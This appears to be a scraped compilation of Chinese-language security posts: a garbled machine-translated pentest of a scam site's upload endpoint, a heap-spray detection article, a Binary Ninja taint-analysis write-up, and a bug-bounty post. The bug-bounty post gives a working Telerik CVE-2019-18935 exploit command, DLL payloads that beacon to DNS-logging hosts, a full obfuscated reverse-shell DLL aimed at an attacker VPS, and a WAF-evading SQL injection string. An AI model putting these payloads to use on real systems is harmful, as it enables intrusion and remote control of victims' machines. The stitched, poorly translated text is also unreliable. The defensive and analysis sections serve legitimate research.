次に、他のいくつかのポートとサービスがあり、1つずつテストされましたが、突破口はありませんでした。パッチはすべて非常に完全だったようです。現在、それは一時的に行き止まりに閉じ込められています。 MSFに使用するモジュールはまだたくさんありますが、まだ行われていない別の重要なことがあると思います。

0x003サイトディレクトリの列挙

サイトディレクトリスキャン、この重要なことはどのように欠けているのでしょうか？ Dirbusterなど、多くのツールから選択するツールがあります。ここでは、Burp Suiteのエンゲージメントツールでディスカバリーコンテンツツールを使用して、ディレクトリブラストを実行します。

burp-dirbus-menu

burp-dirbus-config

多数の内蔵辞書では使用するのに十分ですが、ネットワークリクエストが含まれ、プロセスも非常に長いです。ただし、バックグラウンドで実行でき、他のものには影響しません。これがスキャンの結果です：

burp-dirbus-sitemap

いい人と呼んでください！スキャンしなかったかどうかはわかりませんでした。出てきてショックを受けました。私は非常に多くの隠された入り口を逃しました。最初にノートを書き留めて、1つずつ探索しました。ただし、私のビジョンは、upload.aspと呼ばれるファイルにロックされずにはいられませんでした。開発者からそのような明白なヒントを言う必要はありませんでした（ヨ（▔、▔）ㄏ）。

burp-upload-get

直接アクセスするときに返品データはありませんが、メソッドが間違っているためですか？それを変更してフォームファイルデータを投稿し、再試行してください。

cmd-curl-upload-file

この方法でアップロードするのは役に立たないようです。追加の検証パラメーターなどが必要です。これまで見たことのないページをたくさんスキャンしました。今、私は戻ってページのソースコードを1つずつ分析します。

front-upload-source

案の定、ページの1つでは、このアップロードインターフェイスを呼び出すフォームが見つかりました。これは隠された要素です。ページコンテンツと組み合わせることで、ユーザーがアップロードした特定のドキュメント情報、IDカードの写真などを収集するために使用する必要があります。その後、対応するJSソースコードを見て、実際にチェックサムインターフェイスパラメーターがあります。

front-upload-js-fn

ここでこれらの機能を分析して呼び出して、ファイルをアップロードすることは難しすぎます。これは隠された形ではありません。コードを直接変更してUI（¬‿¬）を介して操作するのはとても簡単です。

front-upload-show-form

少しシンプルに見えますが、実行するのに十分かどうかは関係ありません。ファイルをアップロードするだけです：

front-upload-done

その後、もう一度アクセスして効果を確認してください。

front-upload-access

なんて男だ、それはエキサイティングだ！私の口の角は再び少し上昇しますが、最初に落ち着いてから、ファイルタイプの確認があるかどうかを確認してみてください。このサービスはASP.NETなので、ASPプログラムを渡すだけです。次のコードは、ページ上のサービスの名前を実行します。

％respons.write（request.servervariables（ 'server_software'））％

次に、アップロードしてチェックしてください。

front-upload-asp-info

これ.他に何が言うことができますか？沈黙は現時点では音よりも優れていますが、これは終わりではありません。これはただの良い出発点であり、すべてが始まったばかりです（¬‿¬）。

0x004予期しない収穫

実際、Webサイトディレクトリには、Jieliuziと呼ばれる別の非常に興味深いディレクトリがあります。私は中国のピンインの命名が好きなオブジェクト開発者の習慣を理解しましたが、この意味は理解されていません。推測と入力の方法さえ理解していません。詳細を調べた後、私も入って見つけました=_=。中国の文化は本当に深いです。何があっても、ページアクセスの結果を見てください：

front-jieliuzi-login

これは非常に簡潔なログインページであり、実際にはPCサイトページです。詐欺師はいくつかの面で非常にロマンチックです。ここで表示されない理由は、全体像がエキサイティングすぎるためです（このログインボックスは本当に白です）、レビューに合格できないのではないかと心配しています。さらに、このページの上部にあるタイトル名に注意を払ってください。最初の反応は、それが単純な文字通りの意味であってはならず、良い言葉のように聞こえないことです。私はこれのために特別にバイドゥに行きました：

front-whaling-meaning-1

HireHackking

為您的軟件建立強大的安全性至關重要。惡意行為者不斷使用各種類型的惡意軟件和網絡安全攻擊來破壞所有平台上的應用程序。您需要了解最常見的攻擊並找到緩解它們的方法。

本文不是關於堆溢出或堆利用的教程。在其中，我們探討了允許攻擊者利用應用程序中的漏洞並執行惡意代碼的堆噴射技術。我們定義什麼是堆噴射，探索它的工作原理，並展示如何保護您的應用程序免受它的影響。

什麼是堆噴射技術，它是如何工作的？堆噴射是一種用於促進執行任意代碼的漏洞利用技術。這個想法是在目標應用程序中的可預測地址上提供一個shellcode，以便使用漏洞執行這個shellcode。該技術是由稱為heap spray的漏洞利用源代碼的一部分實現的。

在實現動態內存管理器時，開發人員面臨許多挑戰，包括堆碎片。一個常見的解決方案是以固定大小的塊分配內存。通常，堆管理器對塊的大小以及分配這些塊的一個或多個保留池有自己的偏好。堆噴射使目標進程連續地逐塊分配所需內容的內存，依靠將shellcode 放置在所需地址的分配之一（不檢查任何條件）。

堆噴射本身不會利用任何安全問題，但它可用於使現有漏洞更容易被利用。

必須了解攻擊者如何使用堆噴射技術來了解如何緩解它。以下是普通攻擊的樣子：

image.png

堆噴射如何影響進程內存

堆噴射攻擊有兩個主要階段：

1.內存分配階段。一些流連續分配大量具有相同內容的固定大小的內存塊。

2.執行階段。這些堆分配之一接收對進程內存的控制。

如您所見，堆噴射漏洞利用技術看起來像連續的垃圾郵件，形式為大小相同且內容相同的塊。如果堆噴射攻擊成功，控制權將傳遞給這些塊之一。

為了執行這種攻擊，惡意行為者需要有機會在目標進程中分配大量所需大小的內存，並用相同的內容填充這些分配。這個要求可能看起來過於大膽，但最常見的堆噴射攻擊案例包括破壞Web 應用程序漏洞。任何支持腳本語言的應用程序（例如，帶有Visual Basic 的Microsoft Office）都是堆噴射攻擊的潛在受害者。

因此，在一個流的上下文中預期攻擊是有意義的，因為腳本通常在單個流中執行。

但是，攻擊者不僅可以使用腳本語言執行堆噴射攻擊。其他方法包括將圖像文件加載到進程中，並通過使用HTML5 引入的技術以非常高的分配粒度噴射堆。

這裡的問題是哪個階段可疑，我們可以乾預並試圖弄清楚是否存在正在進行的攻擊？

內存分配階段，當一些流填滿大量內存時，已經很可疑了。但是，您應該問自己是否可能存在誤報。例如，您的應用程序中可能存在確實在一個循環中分配內存的腳本或代碼，例如數組或特殊內存池。當然，腳本在完全相同的堆塊中分配內存的可能性很小。但是，它仍然不是堆噴射的關鍵要求。

相反，您應該注意執行階段，因為分析接收進程內存控制權的堆分配總是有意義的。因此，我們的分析將特別關注包含潛在shellcode 的分配內存。

為了將堆噴射shellcode 的執行與普通JIT代碼生成區分開來，您可以分析分配某個內存塊的最新流分配，包括流中的相鄰分配。請注意，堆中的內存始終分配有執行權限，這允許攻擊者使用堆噴射技術。

堆噴射緩解基礎知識為了成功緩解堆噴射攻擊，我們需要管理接收內存控制的過程，應用鉤子，並使用額外的安全機制。

保護您的應用程序免受堆噴射執行的三個步驟是：

1.攔截NtAllocateVirtualMemory調用

2.在嘗試分配可執行內存期間使其無法執行

3.註冊結構化異常處理程序(SEH) 以處理由於執行不可執行內存而發生的異常

現在讓我們詳細探討每個步驟。

接收對內存的控制我們既需要監控目標進程如何分配內存，又需要檢測動態分配內存的執行情況。後者假設在堆噴射期間分配的內存具有執行權限。如果數據執行保護( DEP ) 處於活動狀態（對於x64，默認情況下始終處於活動狀態）並且嘗試執行沒有執行權限分配的內存，則會生成異常訪問衝突。

惡意shellcode 可以預期在沒有DEP 的應用程序中執行（這不太可能），或者使用腳本引擎在默認情況下具有執行權限的堆中分配內存。

我們可以通過攔截可執行內存的分配並以分配它的漏洞無法察覺的方式使其不可執行來防止惡意代碼的執行。因此，當漏洞利用認為噴射是安全的執行並嘗試將控制權委託給噴射的堆時，將觸發系統異常。然後，我們可以分析這個系統異常。

首先，讓我們從用戶模式進程的角度來探索Windows 中的內存工作是什麼樣的。以下是通常分配大量內存的方式：

image.png

在哪裡：

马云惹不起马云 HeapAlloc和RtlAllocateHeap是從堆中分配一塊內存的函數。

马云惹不起马云NtAllocateVirtualMemory是一個低級函數，它是NTDLL 的一部分，不應直接調用。

马云惹不起马云sysenter是用於切換到內核模式的處理器指令。

如果我們設法替換NtAllocateVirtualMemory，我們將能夠攔截進程內存中的堆分配流量。

應用掛鉤為了攔截目標函數NtAllocateVirtualMemory的執行，我們將使用mhook 庫。您可以選擇原始庫或改進版本。

使用mhook 庫很容易：您需要創建一個與目標函數具有相同簽名的鉤子，並通過調用Mhook_SetHook來實現它。鉤子是通過在函數體上使用jmp指令覆蓋函數prolog來實現的。如果您已經使用過鉤子，那麼您應該沒有任何困難。

安全機制有兩種安全機制可以幫助我們緩解堆噴射攻擊：數據執行預防和結構化異常處理。

結構化異常處理或SEH是一種特定於Windows 操作系統的錯誤處理機制。當發生錯誤（例如，除以零）時，應用程序的控制權被重定向到內核，內核會找到一系列處理程序並逐個調用它們，直到其中一個處理程序將異常標記為“已處理”。通常，內核將允許流程從檢測到錯誤的那一刻起繼續執行。

從進程的角度來看，DEP 看起來像是在內存執行時出現EXCEPTION_ACCESS_VIOLATION 錯誤代碼的SEH 異常。

對於x86 應用程序，我們有兩個陷阱：

DEP可以在系統參數中關閉。

马云惹不起马云 指向處理程序列表的指針存儲在堆棧中，它提供了兩個潛在的攻擊向量：處理程序指示器覆蓋和堆棧替換。

马云惹不起马云 在x64 應用程序中，不會出現這些問題。

防止堆噴射攻擊現在，讓我們開始練習。為了減輕堆噴射攻擊，我們將採取以下步驟：

1.形成分配歷史

2.檢測shellcode 執行

3.檢測噴霧

形成分配歷史為了攔截動態分配內存的執行，我們將PAGE_EXECUTE_READWRITE 標誌更改為PAGE_READWRITE。

讓我們創建一個結構來保存分配：

image.png

接下來，我們將為NtAllocateVirtualMemory定義一個鉤子。此掛鉤將重置PAGE_EXECUTE_READWRITE 標誌並保存已重置標誌的分配：

image.png

一旦我們設置了鉤子，任何帶有PAGE_EXECUTE_READWRITE 位的內存分配都會被修改。當試圖將控制權傳遞給該內存時，處理器將生成一個我們可以檢測和分析的異常。

在本文中，我們忽略了多線程問題。然而，在現實生活中，最好單獨存儲每個流的分配，因為shellcode 執行預計是單線程的。

檢測shellcode 執行現在，我們將為SEH 註冊一個處理程序。這就是這個處理程序通常的工作方式：

1.提取觸發異常的指令的地址。如果此地址屬於我們保存的區域之一，則此異常已由我們的操作觸發。否則，我們可以跳過它，讓系統繼續搜索相關的處理程序。

2.搜索堆噴射。如果動態分配的內存被可疑執行，我們必須對檢測到的攻擊做出反應。否則，我們需要恢復原樣，以便應用程序可以繼續工作。

3.使用NtProtect函數(PAGE_EXECUTE_READWRITE)恢復區域的原始參數。

4.將控制權交還給工藝流程。

下面是一個shellcode 檢測的代碼示例：

image.png

目前，我們有一種機制可以監控應用程序中的shellcode，並可以檢測其執行時刻。在現實生活中，我們需要再執行兩個步驟：

马云惹不起马云 攔截NtProtectVirtualMemory和NtFreeVirtualMemory函數。否則，我們將沒有機會監控進程內存的相關狀態。這是一個碎片問題：我們需要存儲和更新進程的可執行內存的映射，這是一項不平凡的任務。例如，我們的應用程序可以使用NtFree函數釋放我們保存區域中間的部分頁面，或者將它們的標誌更改為NtProtect。我們需要跟踪和監控此類案件。

马云惹不起马云使用Execute 分析所有可能的標誌（一組允許我們執行內存內容的可能值），例如PAGE_EXECUTE_WRITECOPY 標誌。

檢測堆噴射使用上面的代碼，我們在動態內存執行時停止了一個應用程序，並獲得了最新分配的歷史記錄。我們將使用這些信息來確定我們的應用程序是否受到攻擊。讓我們探索一下我們的堆噴射檢測技術的兩個步驟：

马云惹不起马云首先，我們需要確定我們將存儲多少分配以及在發生異常時我們將分析其中的多少。請注意，我們對相同大小的分配感興趣。因此，如果流中的內存以不同的大小分配，我們可以允許流繼續執行，因為這不太可能是堆噴射攻擊。此外，在分配邊界之間存在空間的情況下，我們可以排除堆噴射攻擊的可能性，因為堆噴射意味著連續的內存分配。

马云惹不起马云接下來，我們需要選擇堆噴射檢測的標準。檢測堆噴射的一種有效方法是在內存分配中搜索相同的內容。這個重複的內容很可能是shellcode的副本。例如，假設我們有10,000 個分配具有相同數據的相同位移。在這種情況下，最好從接收控制的當前分配的位移開始搜索。

image.png

用於識別堆噴射的建議算法

我們建議使用所描述的技術並註意以下四個標準，以排除可能會顯著減慢您的應用程序的不必要檢查：

1.為每個線程定義已保存的內存分配數量。

2.設置已保存內存分配的最小大小。攔截大小為一頁的分配將導致不合理地節省內存。堆噴射通常使用為某個應用程序的特定堆管理器選擇的巨大值進行操作。數十頁和數百頁似乎更相關。

3.定義發生異常時將分析的最新分配數。如果我們處理過多的分配，它會降低應用程序的效率，因為對於動態內存的每次執行，我們都必須讀取大區域的內容。

4.設置shellcode 的預期最小大小。如果我們要搜索的代碼太小，就會增加誤報的數量。

結論我們探索了一種使用鉤子和內存保護機制檢測堆噴射攻擊的方法。在我們的項目中，這種方法在測試和堆噴射檢測過程中顯示出出色的效果。

HireHackking

在上文中，我們為讀者介紹了污點源的定義等靜態污點分析方面的知識，在本文中，我們將繼續為讀者演示如何處理來自多個污染源的SSA變量的約束等技巧。

（接上文）

對來自多個污染源的SSA變量的約束在進行污染傳播時，如果有任何源變量被污染，包括PHI函數，我們就將目標變量標記為污染變量。在第二階段的過濾過程中，如果一個變量受到約束，我們會將約束應用於所有相關變量。但是，當派生變量（子變量）來自一個以上的獨立污點源（父變量），並且只有一個父變量被驗證，那麼，子變量也被認為被驗證過了。但這種做法是不可取的。考慮一下下面的例子：

1.png

假設x和y來自兩個獨立的污點源，而index是兩者之和，因此，它是一個派生變量。當x被驗證後，由於y沒有被驗證，所以，index仍然可能被污損——但是，之前的算法沒有考慮到這一點。

為了解決這個問題，我考慮將每個派生的污點變量與實際的源變量聯繫起來，稱為根變量，並維護每個根變量的def-use鏈副本。例如，變量index#3有兩個根變量：x#0和y#0變量。對於每個根變量，都利用與變量index#3相關的污點信息來維護一份可達塊的副本。當x#1變量被驗證時，只有變量index#3的副本x#0被標記為不可達，而副本y#0仍被視為污染變量。我們可以通過變量的依賴圖來表示這些關係。

使用依賴圖確定SSA變量之間的關係在變量依賴關係圖中，函數中的任何污點變量都被表示為一個節點。當一個變量來自另一個變量時，就形成了一條從父變量（節點）到子變量（節點）的有向邊。

為了建立變量之間的關係，使用get_ssa_var_definition()訪問所有污點變量的定義位置（definition site）。當MLIL表達式中的任何一個源變量被污染時，在圖中創建一個邊連接。由於在MLIL_LOAD_SSA操作中被污染的變量沒有父節點或傳入的邊，因此，它們就成為了根節點。

這樣的依賴關係圖通常存在許多弱連接的組件，因為加載自受污染的內存區的每一段內存都將被分配給一個新的變量，對應於圖中一個新節點。簡單地說，每個內存加載都會和它的派生變量一起創建一個子圖。當變量派生自多個根節點時，相應的子圖可能會與另一個子圖連接。下面是一個來自函數Dbtux:execTUX_ADD_ATTRREQ()的示例依賴關係圖：

1.png

另一個需要注意的屬性是，依賴關係圖不一定是有向無環圖（DAG）。這是因為循環可能是通過PHI函數中變量的循環依賴關係引入的。請考慮以下循環操作的SSA表示形式：

1.png

此處，counter#2的值取決於counter#1或counter#4，這是一個PHI函數，前置塊決定函數的結果。在循環的下方，counter#4依賴於counter#2。這種關係將在依賴關係圖中表示為一個循環。

生成依賴關係圖後，很容易獲得與任何受污染變量關聯的根變量。此外，還可以獲取任何給定變量的子變量和父變量來處理傳遞關係。現在唯一缺少的部分是沒有表示出受污染的信息是如何向前傳播到其他函數的。

靜態函數鉤子與過程間污點傳播一旦完成對當前函數的分析，所有帶有污染參數的MLIL_CALL_SSA和MLIL_TAILCALL_SSA指令都將被處理。對於具有已知目的地（例如，MLIL_CONST_PTR)的任何調用指令，都會提取符號以檢查靜態鉤子，具體見下面的示例代碼：

forexpr,callee_varsinself.callee.items():

ifexpr.dest.operation==MediumLevelILOperation.MLIL_CONST_PTR:

symbol=self.bv.get_symbol_at(expr.dest.constant)

forfuncinconfig.function_hooks:

ifsymbolandfuncinsymbol.name:

self.visit_function_hooks(expr,func,callee_vars)

break

else:

dest=expr.dest.constant

args=self.get_args_to_pass(expr,callee_vars)

callee_trace=MLILTracer(self.bv,dest)

callee_trace.set_function_args(args)

callee_trace.trace()靜態鉤子是處理函數的程序——與其他函數相比，我們打算以不同的方式處理這些函數。對libc函數memcpy的調用來說，無需進行污染傳播，相反，我們只對檢查受污染的大小、源或目標參數感興趣。為了向分析器提供這些信息並進行相應的配置，我們將使用具有函數名稱和參數的JSON配置，具體如下所示：

{

'memset':['arg0','arg1','arg2'],

'bzero':['arg0','arg1'],

'bcopy':['arg1','arg2'],

'memcpy':['arg0','arg1','arg2'],

'memmove':['arg0','arg1','arg2'],

'strncpy':['arg0','arg1','arg2'],

'strlcpy':['arg0','arg1','arg2']

}要檢查的參數從0開始索引。對於memcpy函數來說，所有3個參數都被標記為需要進行分析。與JSON配置中提供的參數索引相關的SSA變量，都需要進行污染檢驗。例如，配置文件中的arg2將映射到一個與memcpy函數的size參數相關的SSA參數變量：

defget_var_for_arg(self,expr,arg):

params=expr.params

argno=lambda_arg:int(_arg.split('arg').pop())

ifargno(arg)len(params):

param=params[argno(arg)]

ifparam.operationinoperations.MLIL_GET_VARS:

returnparam.vars_read[0]

defvisit_function_hooks(self,expr,func,tainted_vars):

args=config.function_hooks[func]

forarginargs:

ssa_var=self.get_var_for_arg(expr,arg)

ifssa_varintainted_vars:

logging.info('Potentialcontrolledargsincallto%s@0x%lx%s%s',func,expr.address,expr,self.get_stack_trace())靜態鉤子也可用於標記要被污染和進一步傳播的函數的輸出變量或返回值。但是，由於未考慮特定於函數的相關細節，因此，目前尚未實現該功能。必要時，可以重用MLIL_SET_VAR_SSA操作的visitor處理程序，以在CALL操作期間實現反向污染傳播。對於沒有鉤子的任何其他函數，可以通過將目標函數的變量標記為已污染來傳播污染信息。

defset_function_args(self,funcargs):

forarg,valueinfuncargs.items():

#BNfunction.parameter_varsisbuggy#2463

forvarinself.function.vars:

ifvar.name==arg:

ssa_var=SSAVariable(var,0)

ifself.is_pointer(value):

self.source_vars[ssa_var]=value

elifself.is_tainted(value):

self.tainted_vars[ssa_var]=value通過可達塊跟踪漏洞一旦污點傳播和過濾階段結束，分析的最後一個階段就是遍歷所有污點變量，並檢查潛在洩漏點（sink）的可達塊。根據已經報告的漏洞，我將查找目標定為涉及越界(OOB)內存訪問、函數調用API（如memcpy）期間的緩衝區溢出、不可信的指針輸入以及受污染的循環計數器的漏洞。本節的其餘部分將詳細介紹其他檢測策略。

OOB讀寫MySQL Cluster中的大多數漏洞都是OOB讀寫相關的內存訪問漏洞，這些是由於缺少對不可信數組索引的驗證所致。為了檢測這些漏洞，我們可以將任何MLIL_LOAD_SSA或MLIL_STORE_SSA視為洩漏點。以下是來自DBDIH:execget_latest_gci_req()的示例代碼：

Signal*arg2{Registerrsi}

int64_targ1{Registerrdi}

Dbdih:execGET_LATEST_GCI_REQ:

0@005b4b24rax#1=zx.q([arg2#0+0x28].d@mem#0)

1@005b4b27rax_1#2=zx.q([arg1#0+(rax#12)+0x9b784].d@mem#0)

2@005b4b2e[arg2#0+0x28].d=rax_1#2.eax@mem#0-mem#1

3@005b4b32returnrax_1#2

current_function.get_low_level_il_at(0x5b4b27).mlil.ssa_form.src.srcil:[arg1#0+(rax#12)+0x9b784].d@mem#0current_function.get_low_level_il_at(0x5b4b27).mlil.ssa_form.src.src.operation

current_function.get_low_level_il_at(0x5b4b27).mlil.ssa_form.src.src.vars_read

[ssa在這裡，rax#1是已污染的，因此，使用MLIL_LOAD_SSA的讀操作可以被認為是一個OOB讀條件。類似地，考慮一下來自Thrman:execOVERLOAD_STATUS_REP()的另一個案例：

Signal*arg2{Registerrsi}

void*arg1{Registerrdi}

Thrman:execOVERLOAD_STATUS_REP:

0@0078415fr14#1=arg2#0

1@00784162r15#1=arg1#0

2@00784165rax#1=zx.q([arg2#0+0x28].d@mem#0)

3@00784168rcx#1=[arg2#0+0x2c].d@mem#0

4@0078416b[arg1#0+(rax#13)+0x3ca0].d=rcx#1@mem#0-mem#1

current_function.get_low_level_il_at(0x78416b).mlil.ssa_formil:[arg1#0+(rax#13)+0x3ca0].d=rcx#1@mem#0-mem#1

current_function.get_low_level_il_at(0x78416b).mlil.ssa_form.operation

current_function.get_low_level_il_at(0x78416b).mlil.ssa_form.dest.vars_read

[ssa在這裡，rax#1再次受到污染，因此，使用MLIL_STORE_SSA的寫入操作可以被視為OOB寫入條件。

API緩衝區溢出靜態函數鉤子可用於檢測由於傳遞給memcpy、memmove等函數的參數缺乏驗證而導致的緩衝區溢出漏洞。有關此問題的詳細信息已經在上面的“靜態函數鉤子與過程間污染傳播”一節中進行了詳細的說明。簡單來說，只要掛鉤函數的任何我們感興趣的參數受到了污染，我們就會將其記錄為潛在漏洞。

不可信的指針解引用在某些情況下，我注意到MySQL Cluster會將不可信的輸入轉換為指針，然後進行指針解引用。為了識別這種漏洞，我們可以藉助於Binary Ninja的類型信息。 MLIL變量對像有一個Type屬性，用於返回與變量相關的Type對象。一個Type對象的類型可以用type_class屬性來訪問。這裡的模型是，污點源指向Signal結構中的一個污點內存區域，而目標變量是PointerTypeClass類型的。 Type對像還有一個confidence屬性，具體如下圖所示：

current_function.get_low_level_il_at(here).mlil.ssa_form

current_function.get_low_level_il_at(here).mlil.ssa_form.destcurrent_function.get_low_level_il_at(here).mlil.ssa_form.dest.var

current_function.get_low_level_il_at(here).mlil.ssa_form.dest.var.type

current_function.get_low_level_il_at(here).mlil.ssa_form.dest.var.type.type_class

current_function.get_low_level_il_at(here).mlil.ssa_form.dest.var.type.confidence

255對於變量類型來說，confidence的最大值為255。為減少誤報，分析器僅考慮具有最大置信度的類型信息。

if(dest.var.type.type_class==TypeClass.PointerTypeClass

anddest.var.type.confidence==255andexpr.src.operation==MediumLevelILOperation.MLIL_LOAD_SSA):

instr=self.function_mlilssa[expr.instr_index]

logging.info('Potentialuntrustedpointerload@0x%lx%s%s',expr.address,instr,self.get_stack_trace())循環中的污點控制流操作我們知道，依賴於受污染變量的某些循環終止條件會導致我們感興趣的漏洞。然而Binary Ninja的MLIL並沒有提供關於循環的信息，因此，替代方案是通過HLIL來檢測受污染的循環條件。比如，Cmvmi:execEVENT_SUBSCRIBE_REQ()中循環語句的HLIL如下所示：

/*0050516b*/do

/*0050516b*/uint64_trsi_7=zx.q(*(r12+(rcx_32)+0x30))

/*00505170*/if(rsi_7u0x10]=rsi_7.b

/*00505184*/rdx_5=*(r12+0x2c)

/*00505160*/rcx_3=rcx_3+1

/*00505160*/while(rcx_3uzx.q(rdx_5))這裡的問題是，我們已經使用MLIL實現了整個污點傳播，而Binary Ninja卻無法提供MLIL和HLIL之間的映射。因此，即使可以檢測到循環，也需要知道受污染的MLIL變量是否映射到循環條件中使用的HLIL變量。

不過，倒是存在一個變通方法，即HLIL指令具有一個條件屬性，該屬性可以用來獲取與循環關聯的條件語句，而這個條件語句的地址可以映射到相應的MLIL_IF指令。

exprHLIL_DO_WHILE:dowhile(rcx_3uzx.q(rdx_5))expr.conditionHLIL_CMP_ULT:rcx_3uzx.q(rdx_5)expr.operation

hex(expr.condition.address)

'0x505169'

current_function.get_low_level_il_at(here).mlil.ssa_form

hex(current_function.get_low_level_il_at(here).mlil.ssa_form.address)

'0x505169'因此，如果任何一條MLIL_IF指令被污染，並且是HLIL循環條件的一部分，那麼分析器就會將其記錄為一個潛在的漏洞。

關於支配關係的實驗支配關係提供了關於基本塊執行順序的相關信息。如果所有通向Y的路徑都要經過X，那麼，我們就可以說基本塊X支配著另一個基本塊Y。

1.png

在所提供的圖中，節點B支配著節點C、D、E和F，因為通往這些節點的所有路徑必須經過節點B。因此，被節點B支配的全部節點集包括B、C、D、E和F節點。此外，還有一個相關的概念叫做嚴格支配方，它並不考慮可疑的節點。因此，被節點B嚴格支配的所有節點的集合包括節點C、D、E和F。

Binary Ninja的BasicBlock對象具有dominators和strict_dominators屬性，提供關於函數中支配關係的相關信息。

1.png

current_function.mlil.ssa_form.basic_blocks

[

current_function.mlil.ssa_form.basic_blocks[2].dominators

[

current_function.mlil.ssa_form.basic_blocks[2].strict_dominators

[那麼，我們該如何利用Binary Ninja中可用的dominance屬性來處理污染約束，而不是通過networkx包中的圖可達性算法來處理這個問題呢？

將約束映射到支配塊為了檢查一個SSA變量的def-use鏈中的所有基本塊是否可達，我們可以遵循以下步驟：

查找與該變量關聯的所有約束塊。

使用def-use鏈獲取所有引用該變量的基本塊。

對於每個基本塊，檢查它是否被約束塊嚴格支配。如果是，則該變量被認為是該基本塊的有效變量，並且被認為是不可達的。

1.png

回到同一個示例，索引在中得到驗證，而它又是的支配方。因此，通過檢查支配方的約束塊，就可以確定可達性

HireHackking
      最近挖了一些漏洞。虽然重复了，但是有参考价值。这边给大家分享下。

　　漏洞重复还是很难受的，转念一想，人生从不是事事如人意的，漏洞重复忽略，不代表失败。先来后到很重要，出场顺序很重要。

　　1.某站rce 忽略理由:不在范围内 作者神父&me 感谢神父带我

　　测试域名:https://***.***:8089/

　　同时存在CVE-2017-11357 CVE-2019-18935 CVE-2017-9248漏洞

　　漏洞利用exp下载地址:

　　https://github.com/noperator/CVE-2019-18935
　　https://github.com/noperator/CVE-2019-18935.git

　　延迟11s:sleep 11s:

　　测试代码: test.c

　　

复制代码
#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
        //Sleep(10000);  // Time interval in milliseconds.
        Sleep(11000);
    return TRUE;
}


test.c编译成amd642.dll文件
复制代码

 

运行:
python CVE-2019-18935.py -v 2017.1.228 -p payloads\amd642.dll -u https://***.****:8089/Telerik.Web.UI.WebResource.axd?type=rau

 

ltgiots14ep14745.png

 

 

 

　　p5m2bolqegc14746.png

 

 

 

 第一步验证成功，成功延迟11s左右，原始请求2s

　　测试命令执行:

　　

复制代码
#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
        system("cmd.exe /c nslookup rsmwe.dnslog.cn");
system("cmd.exe /c nslookup 2pstpep28u6vl9qrw0lhjwsr9if83x.burpcollaborator.net");
    return TRUE;
}

test.c编译成amd642.dll文件

 
复制代码

 

再次运行查看dnslog:

　13odfbagweg14749.png

 

 

 

 

 

直接反弹shell，通用exp:

复制代码
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

#define HOST "{vps ip}"
#define PORT {port}

WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char aip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

// Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.c
void ReverseShell()
{
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    
    struct hostent *host = gethostbyname(HOST);
    strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
    
    hax.sin_family = AF_INET;
    hax.sin_port = htons(PORT);
    hax.sin_addr.s_addr = inet_addr(aip_addr);
    
    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
    if (WSAGetLastError() == 0) {

        memset(&ini_processo, 0, sizeof(ini_processo));

        ini_processo.cb = sizeof(ini_processo);
        ini_processo.dwFlags = STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

        char *myArray[4] = { "cm", "d.e", "x", "e" };
        char command[8] = "";
        snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
    }
}

DWORD WINAPI MainThread(LPVOID lpParam)
{
    ReverseShell();
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) 
{
    HANDLE hThread;

    if (fdwReason == DLL_PROCESS_ATTACH)
        hThread = CreateThread(0, 0, MainThread, 0, 0, 0);

    return TRUE;
}
复制代码

 

权限不低，是域用户:

gqlfojaopq014752.png

 

 

 

　　2.sql注入:

　　　背景介绍:朋友发来一个注入，这个注入还挺棘手的，有xx云的waf，并且后端过滤了逗号，单双引号以及常规函数等。　　

　　我的思路很简单，十六进制。regexp函数即可，我觉得应该还有别的思路

(case+when+current_user+regexp+0x*+then+1+else+2*1e308+end)

　　这样就把数据库user搞出来了。

　　这里我想说下case when这个语句，case when语句比我们想象的要灵活的多，这里做下笔记说下:

　　最常见的:

　　q1k2wlkumbe14753.png

 

 

　　说点不常见的，我写两个demo，可以一直套娃下去:

case 1=1 when 2=2 then 1=1 else 1/0 end

 

 

 

 

　　fjmlkh30fjv14755.png

 

 

 

 

 

　　w3ve3mr3por14756.png

 

 

 

 

 

 　3.url跳转+身份认证token泄漏:

　　我昨天晚上挖的，忽略理由是重复。有时候对某些厂商还挺无语的，漏洞在那边，不修复。让我有种错觉，发现漏洞，有种踩到蜜罐的错觉。

　　资产范围是:vc-*.xxx.com

　　其实遇到这种范围，我还挺开心的，因为我可以Fuzz下，简单Fuzz了下，发现不少资产。

　　挨个打开看，访问:vc-ss.xxx.com，访问站点，直接跳转要求登录。

　　我不是神仙，我也没账号，我看着js，没发现可访问的路径信息。

　　开始fuzz，知道是php就很好办了。使用ffuf跑php/api字典，跑到了一个接口开发文档/api/***.html

　　接口开发文档设计本意是好的，但是大多数的接口开发文档上的截图信息/接口信息都可能有被二次漏洞利用风险。虽然截图信息都是明文，但是很不幸的是测试了下，发现几乎所有的接口，直接访问都是401，需要身份认证。些许无奈了，想放弃的时候，总是告诉自己，坚持看完看仔细。继续盯着接口文档一直翻来翻去，发现了一个身份token泄漏和其他一些安全漏洞。

　　整理漏洞提交了，早上就收到了重复的消息:

　　2vqyg4amrco14757.png

 

 



  原文链接： https://www.cnblogs.com/piaomiaohongchen/p/17130283.html

HireHackking

最近在Linux 內核TEE 子系統中發現了一個釋放後重引用（UAF）漏洞，影響版本小於等於5.15.11，分配了CVE編號CVE-2021-44733。

